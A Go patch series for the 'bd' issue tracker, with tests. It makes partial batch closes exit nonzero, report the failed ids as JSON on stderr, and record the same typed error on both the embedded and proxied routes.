a/cmd/bd/close.go b/cmd/bd/close.go index dee1ddc3e..d4ceda333 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -2,6 +2,7 @@ package main import ( "context" + "encoding/json" "fmt" "os" "strings" @@ -145,6 +146,7 @@ the flags appear in the command line.`, closedIssues := []*types.Issue{} closedCount := 0 alreadyClosed := 0 + var failures []closeIDFailure firstSettledID := "" for i, id := range resolvedIDs { @@ -153,10 +155,15 @@ the flags appear in the command line.`, // The CLI's own close policy refused this argument, so the // batch never saw it. fmt.Fprintln(os.Stderr, plan.refusals[i]) + failures = append(failures, closeIDFailure{ID: id, Error: plan.refusals[i]}) continue } if res.Err != nil { fmt.Fprintln(os.Stderr, closeDirectRefusal(id, res.Err)) + // The typed error, not the decorated display line: the --force + // hint closeDirectRefusal appends is advice for a human reader, + // and the id already has its own field. + failures = append(failures, closeIDFailure{ID: id, Error: res.Err.Error()}) continue } @@ -318,6 +325,17 @@ the flags appear in the command line.`, // claimed store anyway: the batch committed the claim, but the sweep // below still has to name it if a molecule auto-close made the store // dirty again. + // + // A batch that also REFUSED an id still reports its claim here, and + // that is deliberate (#6648). The claim landed inside the batch's + // transaction alongside the survivors and a sibling's refusal does not + // roll it back, so suppressing the report would not un-claim anything — + // it would only leave an issue assigned to this actor with nothing on + // stdout or stderr saying so. The claim is announced here and named + // again in reportCloseFailures' summary, so a caller that exits on the + // nonzero status can still see what it owns. Retrying the same command + // does not stack claims: the survivor is already closed the second time + // round, nothing lands, and an empty batch earns no claim. var claimedNextIssue *types.Issue if claimNext && closedForCommand && !continueFlag { if claimedNext != nil { @@ -370,6 +388,9 @@ the flags appear in the command line.`, } totalAttempted := len(resolvedIDs) + if len(failures) > 0 { + return reportCloseFailures(failures, totalAttempted, closeClaimedID(claimedNextIssue), jsonOutput) + } if totalAttempted > 0 && closedCount == 0 && alreadyClosed == 0 { return SilentExit() } @@ -377,6 +398,88 @@ the flags appear in the command line.`, }, } +// closeIDFailure records one issue id a batch close refused, and why. It +// mirrors updateIDFailure (update.go) on purpose: `bd close` and `bd update` +// are the two write verbs that take a list of ids, so a caller that learned to +// read one partial-failure report should not have to learn a second shape. +type closeIDFailure struct { + ID string `json:"id"` + Error string `json:"error"` +} + +// closeClaimedID names the issue --claim-next claimed on this run, or "" when +// the run claimed nothing. +func closeClaimedID(claimed *types.Issue) string { + if claimed == nil { + return "" + } + return claimed.ID +} + +// reportCloseFailures emits the partial-failure summary both close routes end +// on and returns the nonzero exit that #6648 added. Every refusal has already +// been printed inline, in the order the ids were typed; this is the summary +// that says how much of the batch was left open. +// +// Both routes report through here so the wording and the JSON shape are stated +// once instead of hand-rolled per route. Each route still passes its own +// denominator, because only it knows what it attempted — the direct route +// counts resolved ids, the proxied one counts arguments. +// +// The summary is suppressed for a single-id batch deliberately: one inline +// refusal is already unambiguous about which id failed, and suppressing it +// keeps single-id stderr byte-identical to what it was before close learned to +// fail a partial batch. +// +// In --json mode the summary is one compact JSON line on stderr — the shape +// reportUpdateFailures established — so a consumer that sees exit 1 can read +// WHICH ids failed instead of scraping English prose, while stdout keeps the +// plain closed-issues array a successful close emits. claimedNextID names the +// issue --claim-next claimed on this run, if any: that claim is committed +// inside the batch's own transaction and a sibling's refusal does not roll it +// back, so the report names it rather than pretending it did not happen. +func reportCloseFailures(failures []closeIDFailure, total int, claimedNextID string, jsonOut bool) error { + if total <= 1 { + return SilentExit() + } + msg := fmt.Sprintf("%d of %d issues failed to close", len(failures), total) + + if !jsonOut { + fmt.Fprintf(os.Stderr, "Error: %s\n", msg) + if claimedNextID != "" { + fmt.Fprintf(os.Stderr, "Note: --claim-next already claimed %s; it stays assigned to you.\n", claimedNextID) + } + return SilentExit() + } + + inner := map[string]interface{}{ + "error": msg, + "failed": failures, + } + if claimedNextID != "" { + inner["claimed"] = claimedNextID + } + var payload interface{} + if jsonEnvelopeEnabled() { + payload = map[string]interface{}{ + "schema_version": JSONSchemaVersion, + "data": inner, + } + } else { + inner["schema_version"] = JSONSchemaVersion + payload = inner + } + data, err := json.Marshal(payload) + if err != nil { + // Marshaling flat strings cannot realistically fail; fall back to the + // text summary rather than exiting with nothing said at all. + fmt.Fprintf(os.Stderr, "Error: %s\n", msg) + } else { + fmt.Fprintln(os.Stderr, string(data)) + } + return SilentExit() +} + func init() { registerCloseReasonFlag(closeCmd) closeCmd.Flags().String("resolution", "", "Alias for --reason (Jira CLI convention)") diff --git a/cmd/bd/close_embedded_test.go b/cmd/bd/close_embedded_test.go index 4f5614338..f5fc349dd 100644 --- a/cmd/bd/close_embedded_test.go +++ b/cmd/bd/close_embedded_test.go @@ -113,6 +113,84 @@ func TestEmbeddedClose(t *testing.T) { } }) + // A batch still closes the IDs it can close, but a caller must receive a + // nonzero exit when any sibling was refused. Otherwise an orchestrator can + // record the whole batch as complete while a blocked issue remains open. + t.Run("mixed_batch_refusal_exits_nonzero_after_closing_survivor", func(t *testing.T) { + blocker := bdCreate(t, bd, dir, "Mixed batch blocker", "--type", "task") + blocked := bdCreate(t, bd, dir, "Mixed batch blocked", "--type", "task") + closable := bdCreate(t, bd, dir, "Mixed batch closable", "--type", "task") + bdDepAdd(t, bd, dir, blocked.ID, blocker.ID) + + out := bdCloseFail(t, bd, dir, closable.ID, blocked.ID) + if !strings.Contains(out, "1 of 2 issues failed to close") { + t.Errorf("expected partial-close summary, got: %s", out) + } + if got := bdShow(t, bd, dir, closable.ID); got.Status != types.StatusClosed { + t.Errorf("closable issue status = %s, want closed", got.Status) + } + if got := bdShow(t, bd, dir, blocked.ID); got.Status != types.StatusOpen { + t.Errorf("blocked issue status = %s, want open", got.Status) + } + }) + + // The --claim-next × partial-failure interaction, adjudicated rather than + // left implicit (#6648). --claim-next rides inside the batch transaction + // and fires whenever something LANDED, so a mixed batch claims and then + // exits 1. The claim is durable — the refused sibling does not roll it back + // — so the contract pinned here is "the claim stands and the failure + // summary names it", NOT "the claim is silently suppressed": suppressing + // only the report would leave an issue assigned to this actor with nothing + // saying so, which is strictly worse than announcing it. + // + // Its own project, because the assertion depends on exactly which issue is + // ready at claim time: once `closable` closes, `blocker` is the only ready + // issue left (`blocked` still depends on it), so the claim is deterministic. + t.Run("mixed_batch_claim_next_names_the_claim_it_kept", func(t *testing.T) { + kdir, _, _ := bdInit(t, bd, "--prefix", "kn") + closable := bdCreate(t, bd, kdir, "Claim-next batch closable", "--type", "task") + blocker := bdCreate(t, bd, kdir, "Claim-next batch blocker", "--type", "task") + blocked := bdCreate(t, bd, kdir, "Claim-next batch blocked", "--type", "task") + bdDepAdd(t, bd, kdir, blocked.ID, blocker.ID) + + out := bdCloseFail(t, bd, kdir, closable.ID, blocked.ID, "--claim-next") + if !strings.Contains(out, "1 of 2 issues failed to close") { + t.Errorf("expected the partial-close summary, got: %s", out) + } + if !strings.Contains(out, "already claimed "+blocker.ID) { + t.Errorf("expected the failure summary to name the claim it kept (%s), got: %s", blocker.ID, out) + } + if got := bdShow(t, bd, kdir, closable.ID); got.Status != types.StatusClosed { + t.Errorf("closable issue status = %s, want closed", got.Status) + } + if got := bdShow(t, bd, kdir, blocked.ID); got.Status != types.StatusOpen { + t.Errorf("blocked issue status = %s, want open", got.Status) + } + // The claim really landed: the report is not describing a claim that + // was rolled back with the refusal. + if got := bdShow(t, bd, kdir, blocker.ID); got.Assignee == "" { + t.Errorf("claimed issue %s assignee = %q, want it assigned: the claim commits inside the batch transaction and the refused sibling does not undo it", + blocker.ID, got.Assignee) + } + + // And retrying does NOT stack a second claim, which is what makes + // keeping the first one safe. `closable` is already closed on the way + // back through, so the batch lands nothing and an empty batch earns no + // claim (see the already-closed re-close subtest below). `spare` is + // created only now, so it is the one ready issue a repeat claim could + // take — without it this assertion would pass vacuously, since the + // first run left nothing else ready. + spare := bdCreate(t, bd, kdir, "Claim-next batch spare", "--type", "task") + out = bdCloseFail(t, bd, kdir, closable.ID, blocked.ID, "--claim-next") + if strings.Contains(out, "already claimed "+spare.ID) { + t.Errorf("a retry claimed %s as well, got: %s", spare.ID, out) + } + if got := bdShow(t, bd, kdir, spare.ID); got.Assignee != "" { + t.Errorf("retrying the same failed batch claimed a second issue (%s assignee = %q); the leak must be bounded at the one claim the first run earned", + spare.ID, got.Assignee) + } + }) + // Proves the S7 delegation: `bd close` on a blocked issue now surfaces the // engine's atomic guard (storage.ErrCloseBlocked) rather than a duplicated // CLI pre-check. The refusal must be atomic — the issue stays open because the diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 6791a0ec9..74038e62b 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -42,6 +42,19 @@ func bdProxiedCloseFail(t *testing.T, bd, dir string, args ...string) string { return stdout + stderr } +// lastJSONObjectLine returns the last line of s that looks like a compact JSON +// object, or "". Partial-failure stderr is the per-id refusal prose followed by +// the machine-readable summary, so the report is the last such line. +func lastJSONObjectLine(s string) string { + lines := strings.Split(strings.TrimSpace(s), "\n") + for i := len(lines) - 1; i >= 0; i-- { + if line := strings.TrimSpace(lines[i]); strings.HasPrefix(line, "{") { + return line + } + } + return "" +} + func bdProxiedCloseJSON(t *testing.T, bd, dir string, args ...string) []*types.Issue { t.Helper() fullArgs := append([]string{"close", "--json"}, args...) @@ -363,6 +376,81 @@ func TestProxiedServerClose(t *testing.T) { } }) + t.Run("close_partial_failure_exits_nonzero", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cpf") + closable := bdProxiedCreate(t, bd, p.dir, "Closable") + blocker := bdProxiedCreate(t, bd, p.dir, "Blocker") + blocked := bdProxiedCreate(t, bd, p.dir, "Blocked", "--deps", "depends-on:"+blocker.ID) + out := bdProxiedCloseFail(t, bd, p.dir, closable.ID, blocked.ID) + if !strings.Contains(out, "1 of 2 issues failed to close") { + t.Errorf("expected partial-failure summary, got: %s", out) + } + db := openProxiedDB(t, p) + if got := readStatus(t, db, closable.ID); got != types.StatusClosed { + t.Errorf("closable issue status = %q, want closed despite the refused sibling", got) + } + if got := readStatus(t, db, blocked.ID); got == types.StatusClosed { + t.Error("blocked issue should remain open without --force") + } + }) + + // The machine-readable half of the #6648 contract. A JSON consumer is + // exactly the caller the issue was filed for, so exit 1 must come with a + // payload naming the failed ids instead of prose it would have to scrape — + // while stdout keeps the success-shaped closed-issues array, the way + // bd update's reportUpdateFailures already splits them. + t.Run("close_partial_failure_json_names_the_failed_ids", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cpj") + closable := bdProxiedCreate(t, bd, p.dir, "JSON closable") + blocker := bdProxiedCreate(t, bd, p.dir, "JSON blocker") + blocked := bdProxiedCreate(t, bd, p.dir, "JSON blocked", "--deps", "depends-on:"+blocker.ID) + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "close", "--json", closable.ID, blocked.ID) + if err == nil { + t.Fatalf("expected a partial batch close to exit nonzero\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // stdout keeps the success shape: just the survivor. + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("expected the closed-issues array on stdout, got:\n%s", stdout) + } + var closed []*types.Issue + if jsonErr := json.Unmarshal([]byte(stdout[start:]), &closed); jsonErr != nil { + t.Fatalf("parse closed array: %v\nraw: %s", jsonErr, stdout[start:]) + } + if len(closed) != 1 || closed[0].ID != closable.ID { + t.Fatalf("stdout closed array = %d issue(s) %v, want only the survivor %s", len(closed), closed, closable.ID) + } + + // stderr's last line is the failure report. + line := lastJSONObjectLine(stderr) + if line == "" { + t.Fatalf("expected a compact JSON failure line on stderr, got:\n%s", stderr) + } + var report struct { + Error string `json:"error"` + Failed []struct { + ID string `json:"id"` + Error string `json:"error"` + } `json:"failed"` + } + if jsonErr := json.Unmarshal([]byte(line), &report); jsonErr != nil { + t.Fatalf("parse failure report: %v\nraw: %s", jsonErr, line) + } + if report.Error != "1 of 2 issues failed to close" { + t.Errorf("failure report error = %q, want the N of M summary", report.Error) + } + if len(report.Failed) != 1 || report.Failed[0].ID != blocked.ID { + t.Fatalf("failure report named %+v, want exactly the refused id %s", report.Failed, blocked.ID) + } + if report.Failed[0].Error == "" { + t.Errorf("failure report for %s carried no reason", blocked.ID) + } + }) + t.Run("close_pinned_refuses_without_force", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "cpr") diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 5fc9d268c..5ead731e8 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -122,9 +122,13 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin outcomes, closeReasons := closeProxiedOutcomes(&pre, result) post := closeProxiedRunPostClose(ctx, args, in, outcomes) - for _, e := range pre.errors { + // pre.errors is indexed by argument position, so args[i] is the id this + // refusal belongs to. + var failures []closeIDFailure + for i, e := range pre.errors { if e != "" { fmt.Fprintln(os.Stderr, e) + failures = append(failures, closeIDFailure{ID: args[i], Error: e}) } } for _, w := range post.warnings { @@ -182,6 +186,9 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin } } + if len(failures) > 0 { + return reportCloseFailures(failures, len(args), closeClaimedID(claimedNextIssue), in.jsonOut) + } if len(args) > 0 && len(outcomes) == 0 { return SilentExit() } diff --git a/cmd/bd/protocol/exit_codes_test.go b/cmd/bd/protocol/exit_codes_test.go index b07870ead..abaf6bddd 100644 --- a/cmd/bd/protocol/exit_codes_test.go +++ b/cmd/bd/protocol/exit_codes_test.go @@ -41,11 +41,10 @@ func TestProtocol_UpdateNonexistentExitsNonZero(t *testing.T) { } } -// TestProtocol_ClosePartialFailureExitsZero verifies that when closing +// TestProtocol_ClosePartialFailureExitsNonZero verifies that when closing // multiple issues where some succeed and some fail (e.g., blocked), the -// command exits zero (partial success counts as success) and still closes -// the closeable ones. -func TestProtocol_ClosePartialFailureExitsZero(t *testing.T) { +// command exits non-zero and still closes the closeable ones. +func TestProtocol_ClosePartialFailureExitsNonZero(t *testing.T) { t.Parallel() w := newWorkspace(t) @@ -54,9 +53,11 @@ func TestProtocol_ClosePartialFailureExitsZero(t *testing.T) { blocked := w.create("Blocked issue") w.run("dep", "add", blocked, blocker, "--type=blocks") - // Close both: closeable should succeed, blocked should fail. - // Partial success (closedCount > 0) exits 0. - w.run("close", closeable, blocked) + // Close both: closeable should succeed, blocked should fail, and the + // refusal makes the batch exit 1. + if _, code := w.runExpectError("close", closeable, blocked); code != 1 { + t.Errorf("expected exit code 1, got %d", code) + } // Verify the closeable one was actually closed despite partial failure out := w.run("show", closeable, "--json") diff --git a/cmd/bd/write_verbs_parity_test.go b/cmd/bd/write_verbs_parity_test.go index 6a339cb15..7404070b0 100644 --- a/cmd/bd/write_verbs_parity_test.go +++ b/cmd/bd/write_verbs_parity_test.go @@ -28,7 +28,9 @@ // flips one, the assertion is updated IN THAT COMMIT with a comment naming the // ruling. Any OTHER assertion in this file changing is a regression, not a // refactor. All four have now landed; every remaining assertion is unchanged -// from the pre-rewire CLI and must stay that way. +// from the pre-rewire CLI and must stay that way. Waiver: the close exit-code +// contract (#6648: partial batch failure exits nonzero) intentionally flips +// the TestParityClose* assertions that pinned exit 0. // // Harness: the commands' RunE functions are invoked in-process against a real // storage.DoltStorage, with stdout/stderr captured and the returned error @@ -1584,11 +1586,10 @@ func TestParityCloseNoIDAndNoLastTouchedExits1(t *testing.T) { } } -// TestParityClosePartialFailureExitsZero pins the close exit contract's -// permissive half (cmd/bd/close.go:377-380): as long as ONE id settled as -// closed, a batch with refused ids still exits 0. The refusal is reported on -// stderr only. -func TestParityClosePartialFailureExitsZero(t *testing.T) { +// TestParityClosePartialFailureExitsOne pins that a batch with a refused id +// exits 1 even when other ids closed: the refusal and an `N of M issues failed +// to close` summary go to stderr, and the closable ids still close. +func TestParityClosePartialFailureExitsOne(t *testing.T) { env := newParityEnv(t) env.seed("test-cls4", "Closable", nil) env.seed("test-cls5", "Owned by another actor", func(i *types.Issue) { @@ -1598,11 +1599,11 @@ func TestParityClosePartialFailureExitsZero(t *testing.T) { env.setFlags(closeCmd, nil) res := env.run(closeCmd, "test-cls4", "test-cls5") - if res.exitCode != 0 { - t.Fatalf("exit = %d, want 0 (partial failure is still success today)\nstderr:\n%s", res.exitCode, res.stderr) + if res.exitCode != 1 { + t.Fatalf("exit = %d, want 1 (a refused id fails the batch)\nstderr:\n%s", res.exitCode, res.stderr) } wantErr := fmt.Sprintf("cannot close %s: assignee is %q, actor is %q; reclaim or use --force to override\n", - "test-cls5", "someone-else", actor) + "test-cls5", "someone-else", actor) + "Error: 1 of 2 issues failed to close\n" if res.stderr != wantErr { t.Errorf("stderr = %q, want %q", res.stderr, wantErr) } @@ -1620,7 +1621,7 @@ func TestParityClosePartialFailureExitsZero(t *testing.T) { // TestParityCloseNothingSettledExits1 pins the strict half of the same // contract: when NO id settled as closed, close returns SilentExit() — exit 1 -// with no extra stdout. Source: cmd/bd/close.go:377-380 and +// with no extra stdout. Source: cmd/bd/close.go:382-384 and // cmd/bd/errors.go:119-121. func TestParityCloseNothingSettledExits1(t *testing.T) { env := newParityEnv(t) @@ -1640,6 +1641,12 @@ func TestParityCloseNothingSettledExits1(t *testing.T) { if res.stdout != "" { t.Errorf("stdout = %q, want empty (SilentExit prints nothing itself)", res.stdout) } + // The batch summary is multi-id ONLY. A single refused id already names + // itself on stderr, so adding `N of M issues failed to close` to it would + // be noise — and this is the sole assertion pinning that suppression. + if strings.Contains(res.stderr, "issues failed to close") { + t.Errorf("stderr = %q, want no batch summary for a single id", res.stderr) + } if got := env.lastTouched(); got != "" { t.Errorf("last-touched = %q, want it untouched when nothing settled", got) } From 0144dbe76b4c60f63787115f76eeb1f87fd97749 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 27 Sep 2026 01:51:19 -0700 Subject: [PATCH 202/624] fix(close): make --json failed[].error route-independent (post-merge #6740) (#6771) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Post-merge review of #6740 (landed range c25059ada..730fb9867) found one major: the machine-readable `failed[].error` field that PR added carried a DIFFERENT string for the identical refusal depending on whether the caller was on the embedded or the proxied-server route — the exact class of route drift the close rewire exists to remove, shipped in the same commit that states the principle in a comment. No test pinned the text, so CI was blind to it. Two causes, both on the proxied route: 1. The harvest loop copied `pre.errors[i]` — closeProxiedRefusal's DECORATED display line — straight into the JSON field, so a blocked id gained " (use --force to override)" that the direct route deliberately keeps out of the same field. Fixed by carrying the typed error in a parallel per-argument slot (`failureErrors`), mirroring the direct route's split, and reading that slot in the new closeProxiedFailures. 2. Stripping the decoration was not sufficient: a refusal reaching this route has also been wrapped by the layers it passed through, so the undecorated typed error still read close x-1: db: IssueSQLRepository.CloseChecked x-1: cannot close blocked … against the direct route's cannot close blocked issue: x-1 is blocked by [x-2] closeProxiedTypedRefusal unwraps to the sentence the engine actually wrote for the refusal classes the CLI already names by sentinel. Anything else keeps its whole chain, where the wrapping is the only thing that says where an unexpected failure came from. Tests: the split and the unwrap are pinned in an untagged file so they run in the CGO_ENABLED=0 lane too, and the shared assertion is applied by BOTH integration suites — a new direct-route twin of close_partial_failure_json_names_the_failed_ids, which also gives the default route its first pin on reportCloseFailures' jsonOut branch. Every pin was mutation-proved: reading the display line reds the three decorated classes while the undecorated open-children control stays green; converging by stripping the hint from stderr instead reds the human-line half; recording the decorated line on the direct route reds the twin. Scope: this is the only entry under the review's Required Changes. The five non-gating minors (single-id --json report, closeCmd.Long paragraph, text-mode per-id reprint, the `claimed` JSON type, the CHANGELOG not-found parenthetical) are deliberately left for separate follow-ups. Co-authored-by: Claude Opus 5 (cherry picked from commit 01bd1f1e54dbf2ba1f51a3fc86c6ee05ce4cfe41) Hand-resolved for hotfix/1.3.1: CHANGELOG.md conflicted only on context (main's Unreleased/Fixed list has entries the release line lacks). The release CHANGELOG is kept and the same wording change is applied to the #6648 entry carried by the previous pick. No code hunk needed changes. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 5 +- cmd/bd/close_embedded_test.go | 70 ++++++ cmd/bd/close_failure_report_test.go | 281 +++++++++++++++++++++++ cmd/bd/close_proxied_integration_test.go | 9 + cmd/bd/close_proxied_server.go | 115 +++++++++- 5 files changed, 468 insertions(+), 12 deletions(-) create mode 100644 cmd/bd/close_failure_report_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index cf4dc89f9..eae47e4d3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -131,7 +131,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 close runs, while the proxied route refuses that argument and closes the rest.) In `--json` mode the summary is instead a compact JSON line on stderr naming the failed ids, matching `bd update`'s partial-failure report, while - stdout keeps the usual closed-issues array. `--claim-next` still claims when + stdout keeps the usual closed-issues array. Each `failed[]` entry carries the + refusal as the engine worded it, identically on both routes; the `--force` + hint and the route's own framing stay on the human-readable stderr line, which + is unchanged. `--claim-next` still claims when part of the batch closed — the claim commits inside the batch's own transaction and a sibling's refusal does not roll it back — so the summary names the claimed id rather than leaving it silently assigned. diff --git a/cmd/bd/close_embedded_test.go b/cmd/bd/close_embedded_test.go index f5fc349dd..0a0d945c2 100644 --- a/cmd/bd/close_embedded_test.go +++ b/cmd/bd/close_embedded_test.go @@ -134,6 +134,76 @@ func TestEmbeddedClose(t *testing.T) { } }) + // The direct-route twin of TestProxiedClose/ + // close_partial_failure_json_names_the_failed_ids. Two things were asserted + // on the proxied route only: that exit 1 comes with a payload naming the + // failed ids while stdout keeps the success-shaped closed-issues array, and + // that failed[].error is the TYPED error rather than the decorated line + // stderr shows a person. This is the default route — what most scripts and + // the parity harness exercise — so a regression in reportCloseFailures' + // jsonOut branch was previously invisible to CI on the route most callers + // are on, and the two routes could drift on the field's contents with + // nothing failing. + t.Run("close_partial_failure_json_names_the_failed_ids", func(t *testing.T) { + jdir, _, _ := bdInit(t, bd, "--prefix", "jf") + closable := bdCreate(t, bd, jdir, "JSON closable", "--type", "task") + blocker := bdCreate(t, bd, jdir, "JSON blocker", "--type", "task") + blocked := bdCreate(t, bd, jdir, "JSON blocked", "--type", "task") + bdDepAdd(t, bd, jdir, blocked.ID, blocker.ID) + + cmd := exec.Command(bd, "close", "--json", closable.ID, blocked.ID) + cmd.Dir = jdir + cmd.Env = bdEnv(jdir) + stdoutBuf, stderrBuf, err := runCommandBuffers(t, cmd) + stdout, stderr := stdoutBuf.String(), stderrBuf.String() + if err == nil { + t.Fatalf("expected a partial batch close to exit nonzero\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // stdout keeps the success shape: just the survivor. + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("expected the closed-issues array on stdout, got:\n%s", stdout) + } + var closed []*types.Issue + if jsonErr := json.Unmarshal([]byte(stdout[start:]), &closed); jsonErr != nil { + t.Fatalf("parse closed array: %v\nraw: %s", jsonErr, stdout[start:]) + } + if len(closed) != 1 || closed[0].ID != closable.ID { + t.Fatalf("stdout closed array = %d issue(s), want only the survivor %s\nraw: %s", len(closed), closable.ID, stdout[start:]) + } + + // stderr's last line is the failure report. + line := lastJSONObjectLine(stderr) + if line == "" { + t.Fatalf("expected a compact JSON failure line on stderr, got:\n%s", stderr) + } + var report struct { + Error string `json:"error"` + Failed []struct { + ID string `json:"id"` + Error string `json:"error"` + } `json:"failed"` + } + if jsonErr := json.Unmarshal([]byte(line), &report); jsonErr != nil { + t.Fatalf("parse failure report: %v\nraw: %s", jsonErr, line) + } + if report.Error != "1 of 2 issues failed to close" { + t.Errorf("failure report error = %q, want the N of M summary", report.Error) + } + if len(report.Failed) != 1 || report.Failed[0].ID != blocked.ID { + t.Fatalf("failure report named %+v, want exactly the refused id %s", report.Failed, blocked.ID) + } + assertCloseFailedErrorIsTyped(t, report.Failed[0].Error, stderr) + + if got := bdShow(t, bd, jdir, closable.ID); got.Status != types.StatusClosed { + t.Errorf("closable issue status = %s, want closed despite the refused sibling", got.Status) + } + if got := bdShow(t, bd, jdir, blocked.ID); got.Status != types.StatusOpen { + t.Errorf("blocked issue status = %s, want open", got.Status) + } + }) + // The --claim-next × partial-failure interaction, adjudicated rather than // left implicit (#6648). --claim-next rides inside the batch transaction // and fires whenever something LANDED, so a mixed batch claims and then diff --git a/cmd/bd/close_failure_report_test.go b/cmd/bd/close_failure_report_test.go new file mode 100644 index 000000000..cb05c024e --- /dev/null +++ b/cmd/bd/close_failure_report_test.go @@ -0,0 +1,281 @@ +package main + +import ( + "fmt" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// assertCloseFailedErrorIsTyped checks one failed[].error entry against the +// route-parity contract both close routes owe a --json consumer: the field +// carries the typed error, while the line a person reads keeps the --force hint. +// +// The two integration suites share it, which is the point — a contract that is +// supposed to be identical per route should be asserted by identical code. It is +// written against the RELATIONSHIP between the two spellings rather than a +// transcribed sentence so neither suite has to hardcode how the engine renders a +// blocker list: closeDirectRefusal and closeProxiedRefusal both produce exactly +// the typed error plus the hint, so the typed error must appear on stderr with +// the hint appended and must not contain the hint itself. +// +// Lives in an untagged file so it is compiled in the CGO_ENABLED=0 lane too, +// alongside the pins below; its callers are the cgo-gated suites. +func assertCloseFailedErrorIsTyped(t *testing.T, failedError, stderr string) { + t.Helper() + const hint = " (use --force to override)" + if !strings.HasPrefix(failedError, "cannot close blocked issue:") { + t.Errorf("failed[].error = %q, want the engine's typed ErrCloseBlocked vocabulary: both routes must spell one refusal one way", + failedError) + } + if strings.Contains(failedError, hint) { + t.Errorf("failed[].error = %q carries the --force hint; that decoration is advice for a human reader and belongs on the stderr line only", + failedError) + } + if want := failedError + hint; !strings.Contains(stderr, want) { + t.Errorf("stderr is missing the decorated refusal %q; the hint must still reach the person reading it\nstderr:\n%s", + want, stderr) + } +} + +// The route-parity contract for the machine-readable half of the partial-failure +// report: `failed[].error` carries the TYPED error on both routes, and the +// decorated display line stays on stderr where a human reads it. +// +// The direct route already splits the two (close.go records res.Err.Error() in +// closeIDFailure while printing closeDirectRefusal's decorated line). The proxied +// route used to copy pre.errors — the display line — into the JSON field, so the +// same blocked-id refusal answered "cannot close blocked issue: X is blocked by +// [Y]" embedded and "... (use --force to override)" proxied. These live here +// rather than in the proxied integration suite because nothing in the split needs +// a server: the refusal slots are filled by closeProxiedOutcomes and read by +// closeProxiedFailures, both pure. +func TestCloseProxiedFailuresRecordTheTypedErrorNotTheDisplayLine(t *testing.T) { + blockedErr := fmt.Errorf("%w: pb-2 is blocked by [pb-1]", storage.ErrCloseBlocked) + + // arg 0 closes, arg 1 is refused by the engine. + args := []string{"pb-3", "pb-2"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{ + {IssueID: "pb-3", Reason: "done"}, + {IssueID: "pb-2", Reason: "done"}, + }, + itemArgs: []int{0, 1}, + before: map[string]*types.Issue{"pb-3": {ID: "pb-3"}}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + outcomes, _ := closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{ + {IssueID: "pb-3", Issue: &types.Issue{ID: "pb-3"}, Changed: true}, + {IssueID: "pb-2", Err: blockedErr}, + }, + }) + if len(outcomes) != 1 || outcomes[0].id != "pb-3" { + t.Fatalf("outcomes = %+v, want only the survivor pb-3", outcomes) + } + + failures := closeProxiedFailures(&pre, args) + if len(failures) != 1 || failures[0].ID != "pb-2" { + t.Fatalf("failures = %+v, want exactly the refused id pb-2", failures) + } + + // The machine field is the typed error, byte for byte. + if failures[0].Error != blockedErr.Error() { + t.Errorf("failed[].error = %q, want the typed error %q: a --json consumer keying off this field must see the same string on both routes", + failures[0].Error, blockedErr.Error()) + } + if strings.Contains(failures[0].Error, "use --force to override") { + t.Errorf("failed[].error = %q, must not carry the --force hint: that is advice for a human reader, and the direct route records res.Err.Error() here", + failures[0].Error) + } + + // ...and the human line keeps the decoration. Without this half the fix + // could have passed by stripping the hint from stderr too, which is a + // different regression. + if want := closeProxiedRefusal("pb-2", blockedErr); pre.errors[1] != want { + t.Errorf("stderr line = %q, want the decorated refusal %q", pre.errors[1], want) + } + if !strings.Contains(pre.errors[1], "use --force to override") { + t.Errorf("stderr line = %q, want it to keep the --force hint for the person reading it", pre.errors[1]) + } +} + +// Every engine refusal class closeProxiedRefusal decorates, checked against the +// typed error it decorates. ErrCloseOpenChildren is in the table on purpose: it +// passes through undecorated, so it is the row that would still pass if the fix +// had been written as "special-case the blocked hint" instead of "record the +// typed error". +func TestCloseProxiedFailuresTypedErrorPerRefusalClass(t *testing.T) { + tests := []struct { + name string + err error + }{ + { + name: "blocked gains the force hint on stderr", + err: fmt.Errorf("%w: rc-1 is blocked by [rc-9]", storage.ErrCloseBlocked), + }, + { + name: "not found is rewritten on stderr", + err: fmt.Errorf("%w: rc-1", storage.ErrNotFound), + }, + { + name: "default class is wrapped on stderr", + err: fmt.Errorf("dolt: connection reset"), + }, + { + name: "open children passes through undecorated", + err: &storage.CloseOpenChildrenError{IssueID: "rc-1", OpenChildren: 2}, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + args := []string{"rc-1"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{{IssueID: "rc-1", Reason: "done"}}, + itemArgs: []int{0}, + before: map[string]*types.Issue{}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{{IssueID: "rc-1", Err: tc.err}}, + }) 